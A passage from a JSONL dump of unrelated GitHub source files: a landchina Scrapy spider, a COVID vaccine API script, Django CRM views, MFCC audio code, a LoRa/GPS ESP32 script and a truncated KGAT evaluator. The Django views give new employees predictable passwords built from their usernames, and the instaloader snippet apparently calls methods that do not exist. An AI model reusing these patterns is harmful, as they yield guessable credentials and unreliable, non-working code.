div > table > tbody > tr > td:nth-child(1)')[\n 0].text\n self.log('{} ~ {} {}'.format(self.START_DATE, self.END_DATE, page_num_str), level=logging.INFO)\n self.page_num = int(page_num_str.split('\\xa0')[0][1:-1])\n\n self.data = self.parse_page_data(soup, self.START_DATE, self.END_DATE, 1)\n\n for k in self.session.cookies.keys():\n self.cookie[k] = self.session.cookies[k]\n\n yield scrapy.FormRequest(\n url=self.url,\n headers=self.headers,\n cookies=self.cookie,\n formdata=self.data,\n callback=self.parse_page)\n\n def parse_item(self, response):\n soup = BeautifulSoup(response.text, 'lxml')\n\n try:\n tb_head = soup.select('#mainModuleContainer_1855_1856_ctl00_ctl00_p1_f1 > tbody')[0].contents\n data = dict()\n data['行政区'] = tb_head[2].contents[1].text\n data['电子监管号'] = tb_head[2].contents[3].text\n\n data['项目名称'] = tb_head[3].contents[1].text\n\n data['项目位置'] = tb_head[4].contents[1].text\n\n areaSV = tb_head[5].contents[1].text\n areaS2V = tb_head[5].contents[3].text\n if areaSV == areaS2V:\n areaS2 = \"现有建设用地\"\n elif (areaS2V == 0):\n areaS2 = \"新增建设用地\"\n else:\n areaS2 = \"新增建设用地(来自存量库)\"\n\n data['面积(公顷)'] = areaSV\n\n data['土地来源'] = areaS2\n\n data['土地用途'] = tb_head[6].contents[1].text\n data['供地方式'] = tb_head[6].contents[3].text\n\n data['土地使用年限'] = tb_head[7].contents[1].text\n data['行业分类'] = tb_head[7].contents[3].text\n\n data['土地级别'] = tb_head[8].contents[1].text\n data['成交价格(万元)'] = tb_head[8].contents[3].text\n\n data['土地使用权人'] = tb_head[10].contents[1].text\n\n data['约定交地时间'] = tb_head[12].contents[3].find('span').text\n\n data['约定开工时间'] = tb_head[13].contents[1].text\n data['约定竣工时间'] = tb_head[13].contents[3].text\n\n data['实际开工时间'] = tb_head[14].contents[1].text\n data['实际竣工时间'] = tb_head[14].contents[3].text.strip()\n\n data['批准单位'] = tb_head[15].contents[1].text\n data['合同签订日期'] = tb_head[15].contents[3].text.strip()\n\n data['分期数'] = ''\n data['约定支付日期'] = ''\n data['约定支付金额(万元)'] = ''\n data['下限'] = ''\n data['上限'] = ''\n # print(data)\n self.write_excel_xls_append(self.book_name_xls, data)\n except IndexError:\n print(response.text)\n\n def parse_page(self, response):\n soup = BeautifulSoup(response.text, 'lxml')\n trs = soup.find(name='table', attrs={'id': 'TAB_contentTable'})\n trs = trs.find_all('tr')\n for tr in trs[1:]:\n item = LandchinaScrapyItem()\n target_url = 'https://www.landchina.com/' + tr.select('.queryCellBordy')[1].find('a').attrs['href']\n yield Request(url=target_url, cookies=self.cookie, headers=self.headers, meta={'item': item},\n callback=self.parse_item,\n dont_filter=True)\n\n for i in range(self.curr_page, self.page_num + 1, 1):\n self.data = self.parse_page_data(soup, self.START_DATE, self.END_DATE, page_num=i)\n yield scrapy.FormRequest(\n url=self.url,\n cookies=self.cookie,\n headers=self.headers,\n formdata=self.data,\n callback=self.parse_page)\n","repo_name":"modianor/landchina_scrapy","sub_path":"landchina_scrapy/spiders/landchina.py","file_name":"landchina.py","file_ext":"py","file_size_in_byte":12951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23977703980","text":"import requests\nimport json\n\n#fetches data from api\nvaccine_api = \"https://api.covid19tracker.ca/summary\"\nresponse = requests.get(vaccine_api)\n\n#parse fetched object\ntotal_vaccinated = response.json()['data'][0]['total_vaccinated']\ntotal_vaccinations = response.json()['data'][0]['total_vaccinations']\nchange_cases = response.json()['data'][0]['change_cases']\n\n#calculations\none_vaccine_administered = int(total_vaccinations) - int(total_vaccinated)\ntwo_vaccines_administered = int(total_vaccinated)\n\n#calculates the current population of canada\npopulation_api = \"https://api.covid19tracker.ca/provinces\"\nresponse = requests.get(population_api)\nprovince_data = response.json()\n\npopulation = 0\nfor province in province_data:\n if province['id'] > 13:\n break\n population += province['population']\n \n#calculates the percentage of people who have received at least one dose of the vaccine, two doses of the vaccine and daily new cases\none_dose = str(round(one_vaccine_administered/population*100, 3))\ntwo_dose = str(round(two_vaccines_administered/population*100, 3))\ndaily_cases = str(change_cases)\n\n#stores data in variables to be used in Wayscript\nvariables['one_dose'] = one_dose\nvariables['two_dose'] = two_dose\nvariables['daily_cases'] = change_cases\n","repo_name":"michpara/vaccine-alerts","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36540899892","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.contrib.auth.models import Group, User\nfrom django.contrib.auth import authenticate, login, logout\n\nfrom .models import *\nfrom .forms import *\n\nimport re\n\n\ndef default_web(request):\n return render(request, 'crmsystem/main.html', {})\n\ndef no_permission(request):\n return render(request, 'account/no_permission.html', {})\n\n@permission_required(\n 'crmsystem.show_contract',\n login_url='/accounts/nopermission/'\n)\ndef contract_site(request):\n all_contract = Contract.objects.all()\n\n # Check if user is Employee or Service\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n if (is_employee):\n all_contract = Contract.objects.filter(\n employee=Employee.objects.filter(\n user_account=request.user\n )[0]\n )\n\n # Contain contract dict\n contract_list = []\n for contract in all_contract:\n contract_list.append(\n (\n contract,\n Contain.objects.filter(\n contract=contract\n )\n )\n )\n\n return render(\n request,\n 'crmsystem/contract_site.html',\n {\n 'list': contract_list,\n }\n )\n\n@permission_required(\n 'crmsystem.add_contract',\n login_url='/accounts/nopermission/'\n)\ndef contract_new(request):\n def is_productlist_ok(request_post):\n keys_dict = {}\n form_list = []\n all_valid = True\n\n # Filter keys from POST\n for key, value in request_post.items():\n if ((nop_name in key) or (cloth_name in key)):\n keys_dict.update({\n key: value\n })\n\n # Get maximum index\n maximum = max(\n [int(key.split(delimiter)[1]) for key in keys_dict]\n )\n\n # Create dictionaries for forms\n for i in range(0, maximum + 1):\n form_dict = {\n nop_name: request_post[nop_name + delimiter + str(i)],\n cloth_name: request_post[cloth_name + delimiter + str(i)],\n }\n new_containform = ContainForm(form_dict)\n form_list.append(\n (\n new_containform,\n i,\n int(form_dict[cloth_name]) if (form_dict[cloth_name]) else 0\n )\n )\n\n if (not new_containform.is_valid()):\n print(new_containform.visible_fields()[1].errors)\n all_valid = False\n\n return {\n 'is_valid': all_valid,\n 'form_list': form_list,\n 'maximum': maximum,\n }\n\n state = \"Vytvoriť novú zmluvu\"\n nop_name = 'num_of_pieces'\n cloth_name = 'cloth'\n delimiter = '__'\n show_validation = True\n\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n if (is_employee):\n logged_employee = Employee.objects.filter(\n user_account=request.user\n )[0]\n\n if (request.method == \"POST\"):\n contract_form = ContractForm(request.POST)\n if (is_employee):\n contract_form.fields.pop('employee')\n\n # Remove last product\n if ('remove_product' in request.POST):\n show_validation = False\n product_dict = is_productlist_ok(request.POST)\n product_dict['form_list'] = product_dict['form_list'][:-1]\n # Add new product\n elif ('add_product' in request.POST):\n show_validation = False\n product_dict = is_productlist_ok(request.POST)\n\n if (product_dict['is_valid']):\n product_dict['form_list'].append(\n (ContainForm(), product_dict['maximum'] + 1, 0)\n )\n else:\n # Only check form_list\n product_dict = is_productlist_ok(request.POST)\n\n if (product_dict['is_valid'] and\n contract_form.is_valid() and\n len(product_dict['form_list']) >= 1):\n contract = contract_form.save(commit=False)\n\n # Calculate total price\n total_price = 0.0\n contain_list = []\n for product_tuple in product_dict['form_list']:\n contain = product_tuple[0].save(commit=False)\n total_price += float(\n contain.cloth.cost_of_piece\n ) * int(\n product_tuple[0].cleaned_data.get('num_of_pieces')\n )\n contain_list.append(contain)\n\n if (is_employee):\n contract.employee = logged_employee\n\n contract.total_cost = total_price\n contract.save()\n\n for contain in contain_list:\n contain.contract = contract\n contain.save()\n\n return redirect('contract_site')\n\n form_list = product_dict['form_list']\n else:\n contract_form = ContractForm()\n if (is_employee):\n contract_form.fields.pop('employee')\n\n form_list = [\n (ContainForm(), 0, 0),\n ]\n\n if (is_employee):\n contract_form.fields['customer'].queryset = Customer.objects.filter(\n employee=logged_employee\n )\n\n # Clothes from employee\n emp_marks_id = {\n mark['id']\n for mark in get_object_or_404(Employee, pk=logged_employee.pk).marks.values()\n }\n else:\n emp_marks_id = { mark.pk for mark in Mark.objects.all() }\n\n return render(\n request,\n 'crmsystem/contract_new.html',\n {\n 'form_1': contract_form,\n 'form_list': form_list,\n 'state': state,\n 'show_validation': show_validation,\n 'emp_marks_id': emp_marks_id,\n }\n )\n\n@permission_required(\n 'crmsystem.delete_contract',\n login_url='/accounts/nopermission/'\n)\ndef contract_delete(request, pk):\n contract_object = get_object_or_404(Contract, pk=pk)\n contract_object.delete()\n return redirect('contract_site')\n\n@permission_required(\n 'crmsystem.show_meeting',\n login_url='/accounts/nopermission/'\n)\ndef meeting_site(request):\n mtg_list = Meeting.objects.all()\n\n # Check if user is Employee or Service\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n if (is_employee):\n mtg_list = Meeting.objects.filter(\n employee=Employee.objects.filter(\n user_account=request.user\n )[0]\n )\n\n return render(\n request,\n 'crmsystem/meeting_site.html',\n {\n 'list': mtg_list\n }\n )\n\n@permission_required(\n 'crmsystem.add_meeting',\n login_url='/accounts/nopermission/'\n)\ndef meeting_new(request):\n state = \"Nové stretnutie\"\n\n # Check if user is Employee or Service\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n\n if (request.method == \"POST\"):\n form = MeetingForm(request.POST)\n if (is_employee):\n form.fields.pop('employee')\n\n if (form.is_valid()):\n if (is_employee):\n mtg = form.save(commit=False)\n mtg.employee = Employee.objects.filter(\n user_account=request.user\n )[0]\n mtg.save()\n else:\n form.save()\n return redirect('meeting_site')\n else:\n form = MeetingForm()\n\n if (is_employee):\n form.fields['customer'].queryset = Customer.objects.filter(\n employee=Employee.objects.filter(\n user_account=request.user\n )[0]\n )\n form.fields.pop('employee')\n\n return render(\n request,\n 'crmsystem/meeting_new.html',\n {\n 'form': form,\n 'state': state\n }\n )\n\n@permission_required(\n 'crmsystem.show_customer',\n login_url='/accounts/nopermission/'\n)\ndef customer_site(request):\n all_customers = Customer.objects.all()\n\n # Check if user is Employee or Service\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n if (is_employee):\n all_customers = Customer.objects.filter(\n employee=Employee.objects.filter(\n user_account=request.user\n )[0]\n )\n\n customer_list = [\n (cust, str(count))\n for cust, count in zip(all_customers, range(0, len(all_customers)))\n ]\n return render(\n request,\n 'crmsystem/customer_site.html',\n {\n 'list': customer_list\n }\n )\n\n\n@permission_required(\n 'crmsystem.change_customer',\n login_url='/accounts/nopermission/'\n)\ndef customer_edit(request, pk):\n customer_object = get_object_or_404(Customer, pk=pk)\n\n contain_legalperson = False\n if (not customer_object.legal_person_id is None):\n legalperson_object = get_object_or_404(\n Legal_person,\n pk=customer_object.legal_person.pk\n )\n contain_legalperson = True\n\n is_employee = False\n # Check if user is Employee or Service\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n\n if (request.method == \"POST\"):\n form_1 = CustomerForm(request.POST, instance=customer_object)\n\n if (is_employee):\n # Remove employee field assign from form_1\n form_1.fields.pop('employee')\n\n # Form is valid, # Only one error, email exist\n if ('email' in form_1.errors and len(form_1.errors) == 1):\n customer_object.name = form_1.cleaned_data.get('name')\n customer_object.surname = form_1.cleaned_data.get('surname')\n customer_object.city = form_1.cleaned_data.get('city')\n customer_object.street_number = form_1.cleaned_data.get('street_number')\n customer_object.street_name = form_1.cleaned_data.get('street_name')\n customer_object.telephone_number = form_1.cleaned_data.get('telephone_number')\n if (not is_employee and 'employee' in request.POST):\n customer_object.employee = form_1.cleaned_data.get('employee')\n\n customer_object.save()\n return redirect('customer_site')\n else:\n form_1 = CustomerForm(instance=customer_object)\n if (is_employee):\n form_1.fields.pop('employee')\n\n if (contain_legalperson):\n form_2 = Legal_personForm(instance=legalperson_object)\n\n # Remove pk(email) from form_1\n form_1.fields.pop('email')\n\n # Create dictionary for html\n out_dict = {\n 'form_1': form_1,\n 'state': \"Úprava zákaznika: \" + customer_object.pk,\n }\n if (contain_legalperson):\n out_dict.update({\n 'form_2': form_2,\n 'editable': True,\n 'locked': True,\n })\n\n return render(\n request,\n 'crmsystem/customer_new.html',\n out_dict\n )\n\n@permission_required(\n 'crmsystem.add_customer',\n login_url='/accounts/nopermission/'\n)\ndef customer_new(request):\n def createCustomer(form, legal_person):\n return Customer(\n email=form.cleaned_data.get('email'),\n name=form.cleaned_data.get('name'),\n surname=form.cleaned_data.get('surname'),\n city=form.cleaned_data.get('city'),\n street_number=form.cleaned_data.get('street_number'),\n street_name=form.cleaned_data.get('street_name'),\n telephone_number=form.cleaned_data.get('telephone_number'),\n employee=form.cleaned_data.get('employee'),\n legal_person=legal_person\n )\n\n def createLegalPerson(form):\n return Legal_person(\n ico=form.cleaned_data.get('ico'),\n company_name=form.cleaned_data.get('company_name'),\n )\n\n state = 'Nový zákaznik'\n checked = False\n\n if (request.method == \"POST\"):\n form_1 = CustomerForm(request.POST)\n form_2 = Legal_personForm(request.POST)\n\n if ('legalperson' in request.POST):\n checked = True\n if (form_1.is_valid() and form_2.is_valid()):\n legal_person = createLegalPerson(form_2)\n customer = createCustomer(form_1, legal_person)\n legal_person.save()\n customer.save()\n return redirect('customer_site')\n else:\n if (form_1.is_valid()):\n createCustomer(form_1, None).save()\n return redirect('customer_site')\n else:\n form_1 = CustomerForm()\n form_2 = Legal_personForm()\n\n return render(\n request,\n 'crmsystem/customer_new.html',\n {\n 'form_1': form_1,\n 'form_2': form_2,\n 'state': state,\n 'checked': checked\n }\n )\n\n@permission_required(\n 'crmsystem.show_employee',\n login_url='/accounts/nopermission/'\n)\ndef employee_site(request):\n employee_list = Employee.objects.all()\n return render(\n request,\n 'crmsystem/employee_site.html',\n {\n 'list': employee_list\n }\n )\n\n@permission_required(\n 'crmsystem.add_employee',\n login_url='/accounts/nopermission/'\n)\ndef employee_new(request):\n all_marks = Mark.objects.all()\n mark_dict = {}\n for mark in all_marks:\n mark_dict.update({\n mark.pk: [mark.pk, mark.name_of_mark, False]\n })\n\n if (request.method == \"POST\"):\n form = EmployeeForm(request.POST)\n\n # Resolve marks\n for key in request.POST:\n if (key.find('checkbox') != -1):\n mark_indx = re.search(r'\\d+', key).group()\n mark_dict[int(mark_indx)][2] = True\n\n if (form.is_valid()):\n # Get True marks\n true_marks = []\n for mark_id, mark_tuple in mark_dict.items():\n if (mark_tuple[2]):\n true_marks.append(str(mark_id))\n\n # Create new user\n username = request.POST['username']\n employee_user = User.objects.create_user(\n username,\n username + '@vobec.nic',\n '123' + username.lower() + '321'\n )\n employee_user.groups.add(Group.objects.get(name='Employee_group'))\n\n employee = form.save(commit=False)\n employee.user_account = employee_user\n employee.save()\n\n # Assign marks, must be after save\n employee.marks = true_marks\n return redirect('employee_site')\n else:\n form = EmployeeForm()\n\n return render(\n request,\n 'crmsystem/employee_new.html',\n {\n 'form': form,\n 'state': \"Nový zamestnanec\",\n 'mark_dict': mark_dict,\n }\n )\n\n@permission_required(\n 'crmsystem.change_employee',\n login_url='/accounts/nopermission/'\n)\ndef employee_edit(request, pk):\n employee_object = get_object_or_404(Employee, pk=pk)\n\n all_marks = Mark.objects.all()\n mark_dict = {}\n for mark in all_marks:\n mark_dict.update({\n mark.pk: [mark.pk, mark.name_of_mark, False]\n })\n\n if (request.method == \"POST\"):\n form = EmployeeForm(request.POST, instance=employee_object)\n form.fields.pop('username')\n\n # Resolve marks\n for key in request.POST:\n if (key.find('checkbox') != -1):\n mark_indx = re.search(r'\\d+', key).group()\n mark_dict[int(mark_indx)][2] = True\n\n if (form.is_valid()):\n # Get True marks\n true_marks = []\n for mark_id, mark_tuple in mark_dict.items():\n if (mark_tuple[2]):\n true_marks.append(str(mark_id))\n\n employee = form.save()\n # Assign marks, must be after save\n employee.marks = true_marks\n return redirect('employee_site')\n else:\n form = EmployeeForm(instance=employee_object)\n form.fields.pop('username')\n for mark in employee_object.marks.values('id'):\n mark_dict[mark['id']][2] = True\n\n return render(\n request,\n 'crmsystem/employee_new.html',\n {\n 'form': form,\n 'state': \"Úprava zamestnanca: \" + employee_object.username,\n 'mark_dict': mark_dict,\n }\n )\n\n@permission_required(\n 'crmsystem.show_cloth',\n login_url='/accounts/nopermission/'\n)\ndef cloth_site(request):\n marks = Mark.objects.all().order_by('name_of_mark')\n clothes = Cloth.objects.all().order_by('name')\n\n # Check if user is Employee or Service\n is_employee = request.user.groups.filter(\n name='Employee_group'\n ).exists()\n if (is_employee):\n marks = Employee.objects.filter(\n user_account=request.user\n )[0].marks.get_queryset()\n\n return render(\n request,\n 'crmsystem/cloth_site.html',\n {\n 'marks': marks,\n 'clothes': clothes\n }\n )\n\n@permission_required(\n 'crmsystem.add_cloth',\n login_url='/accounts/nopermission/'\n)\ndef cloth_new(request, pk):\n mark_object = get_object_or_404(Mark, pk=pk)\n state = \"Nové oblečenie pre značku: \" + mark_object.name_of_mark\n\n if (request.method == \"POST\"):\n form = ClothForm(request.POST)\n if (form.is_valid()):\n new_cloth = form.save(commit=False)\n new_cloth.mark = mark_object\n new_cloth.save()\n return redirect('cloth_site')\n else:\n form = ClothForm()\n\n return render(\n request,\n 'crmsystem/cloth_new.html',\n {\n 'form': form,\n 'state': state,\n }\n )\n\n@permission_required(\n 'crmsystem.add_mark',\n login_url='/accounts/nopermission/'\n)\ndef mark_new(request):\n state = \"Register new mark\"\n if (request.method == \"POST\"):\n form = MarkForm(request.POST)\n if (form.is_valid()):\n form.save()\n return redirect('cloth_site')\n else:\n state = 'Invalid input data'\n else:\n form = MarkForm()\n\n return render(\n request,\n 'crmsystem/mark_new.html',\n {\n 'form': form\n }\n )\n\ndef login_form(request):\n state = \"Prosím prihláste sa.\"\n username = password = ''\n\n if (request.method == \"POST\"):\n username = request.POST['username']\n password = request.POST['password']\n\n user = authenticate(username=username, password=password)\n if (user is not None):\n if (user.is_active):\n login(request, user)\n state = \"You're successfully logged in!\"\n return redirect('default_web')\n else:\n state = \"Your account is not active, please contact the site admin.\"\n else:\n state = \"Your username or password were incorrect.\"\n\n return render(request, 'account/login.html', {\n 'state': state\n })\n\ndef logout_form(request):\n logout(request)\n return render(request, 'account/logout.html', {})\n\ndef registration_form(request):\n state = 'Welcome !!!!'\n com_owner_group = 'test'\n cus_ser_group = 'test_2'\n\n if (request.method == \"POST\"):\n form = RegistrationForm(request.POST)\n\n # Registration form is valid\n if (form.is_valid()):\n role = form.cleaned_data.get('roles')\n if (role == 'com_owner'):\n group = Group.objects.get(name=com_owner_group)\n\n # If group is empty, create user\n if (not group.user_set.all()):\n user = User.objects.create_user(\n username=form.cleaned_data.get('user_name'),\n first_name=form.cleaned_data.get('first_name'),\n last_name=form.cleaned_data.get('last_name'),\n email=form.cleaned_data.get('email'),\n password=form.cleaned_data.get('password2')\n )\n user.groups.add(group)\n\n return redirect('login_form')\n else:\n state = 'Company owner is already registered !!!'\n elif (role == 'cus_ser'):\n group = Group.objects.get(name=cus_ser_group)\n\n # If group is empty, create user\n if (not group.user_set.all()):\n user = User.objects.create_user(\n username=form.cleaned_data.get('user_name'),\n first_name=form.cleaned_data.get('first_name'),\n last_name=form.cleaned_data.get('last_name'),\n email=form.cleaned_data.get('email'),\n password=form.cleaned_data.get('password2')\n )\n user.groups.add(group)\n\n return redirect('login_form')\n else:\n state = 'Customer service is already registered !!!'\n else:\n state = 'Invalid role'\n else:\n form = RegistrationForm()\n\n return render(request, 'account/registration.html', {\n 'form': form,\n 'state': state,\n })\n","repo_name":"NoName115/IIS","sub_path":"crmsystem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6041418894","text":"import numpy\nimport scipy.io.wavfile\nfrom scipy.fftpack import dct\nimport librosa.display\nimport matplotlib.pyplot as plt\n\n\n\n#loading of signal\nsample_rate, signal = scipy.io.wavfile.read('/home/shubham/Accent/recordings_wav/bengali1.wav') \nsignal = signal[0:int(10 * sample_rate)] # Keep the first 10 seconds\n\n\n#Pre-Emphasis of signal\npre_emphasis = 0.97\nemphasized_signal = numpy.append(signal[0], signal[1:] - pre_emphasis * signal[:-1])\n\n\n#Framing of signal\nframe_size = 0.025\nframe_stride = 0.01\nframe_length, frame_step = frame_size * sample_rate, frame_stride * sample_rate # Convert from seconds to samples\nsignal_length = len(emphasized_signal)\nframe_length = int(round(frame_length))\nframe_step = int(round(frame_step))\nnum_frames = int(numpy.ceil(float(numpy.abs(signal_length - frame_length)) / frame_step)) \n\npad_signal_length = num_frames * frame_step + frame_length\nz = numpy.zeros((pad_signal_length - signal_length))\n# Pad Signal to make sure that all frames have equal number of samples \npad_signal = numpy.append(emphasized_signal, z)\n\nindices = numpy.tile(numpy.arange(0, frame_length), (num_frames, 1)) + numpy.tile(numpy.arange(0, \n\tnum_frames * frame_step, frame_step), (frame_length, 1)).T\nframes = pad_signal[indices.astype(numpy.int32, copy=False)]\n\n\n#Window using Hamming Window\nframes *= numpy.hamming(frame_length)\n\n\n#taking Fourier-Transform and finding Power Spectrum\nNFFT = 512\nmag_frames = numpy.absolute(numpy.fft.rfft(frames, NFFT)) # Magnitude of the FFT\npow_frames = ((1.0 / NFFT) * ((mag_frames) ** 2)) # Power Spectrum\n\nnfilt = 40\nlow_freq_mel = 0\nhigh_freq_mel = (2595 * numpy.log10(1 + (sample_rate / 2) / 700)) # Convert Hz to Mel\nmel_points = numpy.linspace(low_freq_mel, high_freq_mel, nfilt + 2) # Equally spaced in Mel scale\nhz_points = (700 * (10**(mel_points / 2595) - 1)) # Convert Mel to Hz\nbin = numpy.floor((NFFT + 1) * hz_points / sample_rate)\n\n\n#computing Filter Banks\nfbank = numpy.zeros((nfilt, int(numpy.floor(NFFT / 2 + 1))))\nfor m in range(1, nfilt + 1):\n f_m_minus = int(bin[m - 1]) # left\n f_m = int(bin[m]) # center\n f_m_plus = int(bin[m + 1]) # right\n\n for k in range(f_m_minus, f_m):\n fbank[m - 1, k] = (k - bin[m - 1]) / (bin[m] - bin[m - 1])\n for k in range(f_m, f_m_plus):\n fbank[m - 1, k] = (bin[m + 1] - k) / (bin[m + 1] - bin[m])\nfilter_banks = numpy.dot(pow_frames, fbank.T)\nfilter_banks = numpy.where(filter_banks == 0, numpy.finfo(float).eps, filter_banks) # Numerical Stability\nfilter_banks = 20 * numpy.log10(filter_banks) # dB\n\n\n\n#applying Discrete Cosine Transform (DCT) to decorrelate the filter bank coefficients\nnum_ceps = 12\nmfcc = dct(filter_banks, type=2, axis=1, norm='ortho')[:, 1 : (num_ceps + 1)] # Keep 2-13\nmfcc -= (numpy.mean(mfcc, axis=0) + 1e-8)\nprint(len(mfcc))\n\nplt.figure(figsize=(10, 4))\nlibrosa.display.specshow(mfcc, x_axis='time')\nplt.colorbar()\nplt.title('MFCC')\nplt.tight_layout()\nplt.show()","repo_name":"shubh2565/Accent-Classifier","sub_path":"MFCC/mfcc_calculate.py","file_name":"mfcc_calculate.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72761737494","text":"import os\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\npath = 'meter_coord/'\ndates = os.listdir(path)\n\nfor date in tqdm(dates[:]):\n files = [f for f in os.listdir(path + date) if f.endswith('csv')]\n # print(date)\n \n for file in tqdm(files[:]):\n # print(file)\n f = open(path + date + '/' + file, 'r')\n f.readline()\n lines = f.read().splitlines()\n f.close()\n \n plt.figure(figsize=(25, 15))\n bg = plt.imread('hk.png')\n plt.imshow(bg, extent=[113.84, 114.433, 22.194, 22.554])\n \n lat_O = []\n lon_O = []\n lat_V = []\n lon_V = []\n \n for line in lines[:]:\n x = line.split(',')\n try:\n id = x[0]\n lat = float(x[-2])\n lon = float(x[-1])\n if x[2] == 'O':\n lat_O.append(lat)\n lon_O.append(lon)\n else:\n lat_V.append(lat)\n lon_V.append(lon) \n except Exception as e:\n # print(e)\n # print(line)\n pass\n \n plt.scatter(lon_O, lat_O, c='r', s=1, linewidths=None, alpha=0.2)\n plt.scatter(lon_V, lat_V, c='g', s=1, linewidths=None, alpha=0.2)\n plt.xlim(113.84, 114.433)\n plt.ylim(22.194, 22.554)\n # plt.text(113.9, 22.49, date + '/' + file[:-4])\n plt.title(date + '-' + file[0:2] + ':' + file[2:4] + ':' + file[4:6])\n plt.savefig(path + date + '/' + file[:-4] + '.png', pad_inches=0.)\n plt.close()\n \n ","repo_name":"liyinze1/PolyU-parking","sub_path":"draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2827856046","text":"import instaloader\r\n\r\ntest = instaloader.instaloader()\r\n\r\n# Prompt the user to enter an Instagram account name\r\naccount = input('Enter an Instagram account name: ')\r\n\r\n# Check if the account name is valid before attempting to download its profile\r\nif test.check_account_exists(account):\r\n test.download_profile(account)\r\nelse:\r\n print('Sorry, the account name you entered is not valid.')\r\n","repo_name":"akshayfedee/Python-mini-projects","sub_path":"instagram_account_picture_scrapper.py","file_name":"instagram_account_picture_scrapper.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73949380372","text":"import LoRaDuplexCallback\r\n#import LoRaPingPong\r\n#import LoRaSender\r\nimport LoRaReceiver\r\nimport config_lora\r\nfrom sx127x import SX127x\r\nfrom controller_esp32 import ESP32Controller\r\nfrom machine import Pin, SPI, UART, ADC\r\nfrom ublox_gps import MicropyGPS\r\nimport time, utime\r\n\r\n\r\nfrom ssd1306_i2c import Display\r\n\r\n\r\n\r\n\r\ncontroller = ESP32Controller()\r\nlora = controller.add_transceiver(SX127x(name = 'LoRa'),\r\n pin_id_ss = ESP32Controller.PIN_ID_FOR_LORA_SS,\r\n pin_id_RxDone = ESP32Controller.PIN_ID_FOR_LORA_DIO0)\r\n\r\nprint(\"start\")\r\n\r\n#LoRaDuplexCallback.duplexCallback(lora)\r\n#LoRaPingPong.ping_pong(lora)\r\n#LoRaSender.send(lora)\r\n#LoRaReceiver.receive(lora)\r\n\r\n\r\n#gps test\r\n\r\n# GPS initialization\r\nuart = UART(1, 9600) # init with given baudrate\r\nuart.init(9600, bits=8, parity=None, stop=1) # init with given parameters\r\n\r\nmy_gps = MicropyGPS()\r\n\r\n# DISPLAY initialization\r\ndisplay = Display()\r\n\r\n\r\ndisplay.show_text_wrap(\"Hallo\")\r\n\r\n\r\nwhile True: \r\n try:\r\n pycom.rgbled(0x000500) # hearbeat\r\n \r\n # Updating GPS position\r\n if(utime.ticks_ms() - updateGPS >= UPDATE_GPS):\r\n updateGPS = utime.ticks_ms()\r\n stat = my_gps.updateall(uart.readall()) \r\n \r\n # Reporting GPS Status\r\n if(stat != None):\r\n display.show_text(\"GPS status\",0,20, False)\r\n else:\r\n display.show_text(\"No gps\",0,30, False) \r\n \r\n \r\n \r\n # hearbeat\r\n time.sleep_ms(1000)\r\n # pycom.rgbled(0x050505) \r\n time.sleep_ms(1000) \r\n \r\n except: # gps problems\r\n # pycom.rgbled(0x220000) \r\n display.show_text(\"GPS problems\",0,30, False) \r\n my_gps.stringclean() \r\n time.sleep_ms(2000) ","repo_name":"haralde/lora","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26526592032","text":"import os\n# os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2,3'\nimport random\nimport logging\nimport argparse\nfrom time import time\n\nfrom tqdm import tqdm, trange\n\nimport torch\nimport numpy as np\nimport pandas as pd\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.distributed as dist\n\nfrom model.KGAT import KGAT\nfrom utility.parser_kgat import *\nfrom utility.log_helper import *\nfrom utility.metrics import *\nfrom utility.helper import *\nfrom utility.loader_kgat import DataLoaderKGAT\n\n\n# 评估的时候大部分是在cpu完成的,计算评估的底层函数都是用的numpy,应该是可以在gpu中完成,待优化\ndef evaluate(model, train_graph, train_user_dict, test_user_dict, user_ids_batches, item_ids, K):\n model.eval()\n\n with torch.no_grad():\n att = model.compute_attention(train_graph)\n train_graph.edata['att'] = att\n\n n_users = len(test_user_dict.keys())\n # item_ids_batch = item_ids\n item_ids_batch = item_ids.cpu().numpy()\n\n cf_scores = []\n precision = []\n recall = []\n ndcg = []\n\n with torch.no_grad():\n # for user_ids_batch in user_ids_batches:\n for user_ids_batch in tqdm(user_ids_batches, desc='Evaluating Iteration'):\n cf_scores_batch = model('predict', train_graph, user_ids_batch, item_ids) # (n_batch_users, n_eval_items)\n\n cf_scores_batch = cf_scores_batch.cpu()\n user_ids_batch = user_ids_batch.cpu().numpy()\n precision_batch, recall_batch, ndcg_batch = calc_metrics_at_k(cf_scores_batch, train_user_dict, test_user_dict, user_ids_batch, item_ids_batch, K)\n\n cf_scores.append(cf_scores_batch.numpy())\n precision.append(precision_batch)\n recall.append(recall_batch)\n ndcg.append(ndcg_batch)\n\n # 如果全部返回的话占用 6.55 GiB,训练的时候电脑无法分配这么多内存,只有在预测的情况下才能\n # cf_scores = np.concatenate(cf_scores, axis=0) # (70591, 24915)\n cf_scores = cf_scores[0]\n precision_k = sum(np.concatenate(precision)) / n_users\n recall_k = sum(np.concatenate(recall)) / n_users\n ndcg_k = 